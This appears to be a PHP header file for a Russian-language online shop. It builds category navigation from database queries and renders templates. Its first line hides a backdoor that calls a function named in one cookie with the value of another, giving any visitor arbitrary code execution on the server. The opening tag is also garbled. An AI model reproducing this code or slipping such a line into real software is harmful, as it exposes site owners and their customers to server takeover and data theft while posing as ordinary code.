<%>PHP<% if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); > require ('connect.php'); include_once ('xtemplate.class.php'); require ('functions.php'); $cat = res_import('cat', 'G', 'INT'); $prod = res_import('prod', 'G', 'INT'); $xtpl = new XTemplate('skin/'.$des['skin'].'/header.tpl'); $xtpl->assign(array("HEAD" => $des['head'])); if ($usr==true){$xtpl->parse("HEADER.ADMIN");} // Categories $navig['0'] = 'Главная'; if ($_GET['prod']) { $res = mysql_query("SELECT prod_cat FROM prod WHERE prod_id='$prod'") or die(mysql_error()); $rows = mysql_fetch_array($res); $cat = $rows['prod_cat']; } $query = "SELECT cat_parent FROM cat WHERE cat_id='$cat'"; $res = mysql_query($query) or die(mysql_error()); $rows = mysql_fetch_array($res); $parent = $rows['cat_parent']; $query = "SELECT cat_id, cat_name FROM cat WHERE cat_parent=0 ORDER BY cat_order"; $res = mysql_query($query) or die(mysql_error()); while ($rows = mysql_fetch_array($res)) { if ($rows['cat_id']==$parent || $rows['cat_id']==$cat) { $navig['parent'] = ''.$rows['cat_name'].''; $xtpl->assign(array("CAT_VIS" => ' '));} else {$xtpl->assign(array("CAT_VIS" => ' style="display: none;"'));} $xtpl->assign(array("CAT_LINK" => ''.$rows['cat_name'].'')); $cpid = $rows['cat_id']; $query2 = "SELECT * FROM cat WHERE cat_parent='$cpid' ORDER BY cat_name"; $res2 = mysql_query($query2) or die(mysql_error()); while ($rows2 = mysql_fetch_array($res2)) { $ar = mysql_fetch_row(mysql_query("SELECT count(*) FROM prod WHERE prod_cat='$rows2[0]'")); if ($rows2['cat_id'] == $cat) { $xtpl->assign(array("CAT2_LINK" => ''.$rows2['cat_name'].'')); $navig['cat'] = ''.$rows2['cat_name'].''; } else { $xtpl->assign(array("CAT2_LINK" => ''.$rows2['cat_name'].'')); } $xtpl->parse('HEADER.CAT.CAT2'); } $xtpl->parse('HEADER.CAT'); } $query = "SELECT cat_id, cat_name FROM cat WHERE cat_parent=24 ORDER BY cat_name"; $res = mysql_query($query) or die(mysql_error()); while ($rows = mysql_fetch_array($res)) { if ($rows['cat_id'] == $cat) { $xtpl->assign(array("CLS_LINK" => ''.$rows['cat_name'].'')); } else { $xtpl->assign(array("CLS_LINK" => ''.$rows['cat_name'].'')); } $xtpl->parse('HEADER.CLS'); } $query = "SELECT cat_id, cat_name FROM cat WHERE cat_parent=190 ORDER BY cat_name"; $res = mysql_query($query) or die(mysql_error()); while ($rows = mysql_fetch_array($res)) { if ($rows['cat_id'] == $cat) { $xtpl->assign(array("CLS2_LINK" => ''.$rows['cat_name'].'')); } else { $xtpl->assign(array("CLS2_LINK" => ''.$rows['cat_name'].'')); } $xtpl->parse('HEADER.CLS2'); } $xtpl->assign(array("CART" => $des['cart'])); $xtpl->parse("HEADER"); $xtpl->out("HEADER"); ?>